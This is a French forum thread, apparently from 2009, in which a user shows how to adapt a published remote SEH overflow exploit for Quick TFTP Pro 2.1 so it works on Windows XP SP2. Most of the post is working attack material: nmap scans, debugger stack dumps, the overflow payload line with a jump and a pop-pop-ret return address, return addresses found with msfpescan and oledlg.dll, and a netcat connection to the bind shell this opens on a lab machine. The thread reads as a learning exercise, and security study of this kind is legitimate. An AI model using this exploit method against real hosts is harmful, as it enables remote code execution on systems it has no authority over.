|
||||
|
Nous allons ici étudier un exploit publié et le modifier afin qu'il puisse fonctionner dans notre environnement. Sauf si bien sur il fonctionne du permier coup.
on va s'attaquer à ça : Quick TFTP Pro 2.1 Remote SEH Overflow Exploit (0day) - date 2008-03-26 voici le lien pour le télécharger : Quick TFTP Pro 2.1 Remote SEH Overflow Exploit (0day) Il faut avoir une machine XP SP2 avec Quick TFTP Pro 2.1 d'installé (virtualisée ou pas), ollydb et/ou Immunity Debugger. On va commencer par modifier notre exploit avec la bonne ip à attaquer, ensuite on va scanner une fois notre victime pour vérifier si le port est bien ouvert et on va finir par lancer notre exploit : Code:
root@BT4-Nag:~# nmap -sU 192.168.1.39 -p 69 Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-28 08:25 CEST Interesting ports on 192.168.1.39: PORT STATE SERVICE 69/udp open|filtered tftp MAC Address: 00:0C:29:F6:8A:1A (VMware) Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds root@BT4-Nag:~# python quickpro.py |*| Quick TFTP Pro 2.1 SEH Overflow (0day) |*| http://www.offensive-security.com |*| Sending evil packet, ph33r |*| Check port 4444 for bindshell root@BT4-Nag:~# nc -vvv 192.168.1.39 4444 192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) |192.168.1.39| 4444 (?) : Connection refused sent 0, rcvd 0 On va donc relancer notre tftp et attacher le process dans ollydb afin de voir ce qu'il se passe. Code:
... 0012F788 00000000 0012F78C 00400000 tftpserv.00400000 0012F790 00400110 ASCII "PE" 0012F794 0012F784 0012F798 00000000 0012F79C 0012F7BC ASCII "PUT, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."... 0012F7A0 7C920895 RETURN to ntdll.7C920895 from ntdll.7C92089F 0012F7A4 00400000 tftpserv.00400000 0012F7A8 00000001 .. ![]() on constate que l'écrasement du buffer se produit, allons voir ce qu'il se passe du côté de notre seh. Code:
0012FBB4 41414141 0012FBB8 41414141 0012FBBC 909008EB Pointer to next SEH record 0012FBC0 74D31458 SE handler 0012FBC4 90909090 0012FBC8 90909090 0012FBCC 90909090 0012FBD0 90909090 0012FBD4 4DEB6AFC 0012FBD8 FFFFF9E8 0012FBDC 6C8B60FF 0012FBE0 458B2424 0012FBE4 057C8B3C voici la partie correspondante dans notre exploit Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell ![]() elle pointe nul part, il va donc falloir nous trouver une adresse de retour valide. Pour se faire nous allons utiliser des outils bien pratiques. Il faut commencer par utiliser le plugin ollydb safe seh et trouver un process avec safe seh à OFF. ![]() On voit deux fichiers qui vont pouvoir nous fournir notre adresse de retour, alors soit on exécute le process dans ollydb et on recherche une séquence "pop pop ret" à la main soit on scan notre fichier avec msfpescan. Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpescan -p tftpserver.exe |tftpserver.exe| 0x0048994a pop ebx; pop edx; retn 0x4ad9 0x004bd7ae pop esi; pop ecx; retn 0x0004 on change : "\x58\x14\xd3\x74" Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x4a\x99\x48\x00"+"\x90"*16+shell Code:
#0x0048994a pop ebx; pop edx; retn 0x4ad9 #0x004bd7ae pop esi; pop ecx; retn 0x0004 l'adresse 0x0048994 va donc donner \x4a\x99\x48\x00. ![]() le bof fonctionne mais toujours pas de shell, normal car on ne peut pas utiliser une adresse de retour commençant par un null byte 00. Code:
root@BT4-Nag:~# nc -vvv 192.168.1.39 4444 192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) |192.168.1.39| 4444 (?) : Connection refused sent 0, rcvd 0 /SafeSEH Module Scanner, item 27 SEH mode=/SafeSEH OFF Base=0x74ca0000 Limit=0x74cc0000 Module version=1.0 (XPClient.010817-1148) Module Name=C:\WINDOWS\system32\oledlg.dll Alt-e dans ollydb pour voir les modules executables et on choisi oledlg.dll voila déjà une adresse que l'on va pouvoir tester Code:
74CA1458 5B POP EBX 74CA1459 5D POP EBP 74CA145A C2 0C00 RETN 0C ![]() la même chose avec immunity debbuger, c'est joli car y a des couleurs (plus facile pour repérer une suite d'instruction) ![]() on va modifier notre sploit avec notre nouvelle adresse Code:
mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xca\x74"+"\x90"*16+shell et tester tout ça ![]() Code:
root@BT4-Nag:~# python quickpro.py
|*| Quick TFTP Pro 2.1 SEH Overflow (0day)
|*| http://www.offensive-security.com
|*| Sending evil packet, ph33r
|*| Check port 4444 for bindshell
root@BT4-Nag:~# nc -vvv 192.168.1.39 4444
192.168.1.39: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) |192.168.1.39| 4444 (?) open
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\nagual\Bureau>ipconfig
ipconfig
Configuration IP de Windows
Carte Ethernet Connexion au réseau local:
Suffixe DNS propre à la connexion :
Adresse IP. . . . . . . . .*. . . : 192.168.1.39
Masque de sous-réseau . . .*. . . : 255.255.255.0
Passerelle par défaut . . .*. . . : 192.168.1.1
C:\Documents and Settings\nagual\Bureau>
.voici 2-3 liens en français pour débuter Ghosts In The Stack - Les buffers overflows Ghosts In The Stack - Buffer overflows sous XP SP2 Pérégrination d'un wanabee-hacker: First real exploitation on Windows
__________________
http://backtrack-fr.net Last edited by Nagual; 07-28-2009 at 04:11 PM. |
|
||||
|
c'est sur que c'est un sujet très passionnant.
Y a rien de compliqué dans ce tuto car je ne rentre pas dans les détails, de plus tout le job de fuzzing a déjà été fait .C'était juste pour donner une petite idée de ce qui se cache derrière les exploits tout près que l'on trouve sur milworm et qui ne "marche pas".
__________________
http://backtrack-fr.net |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|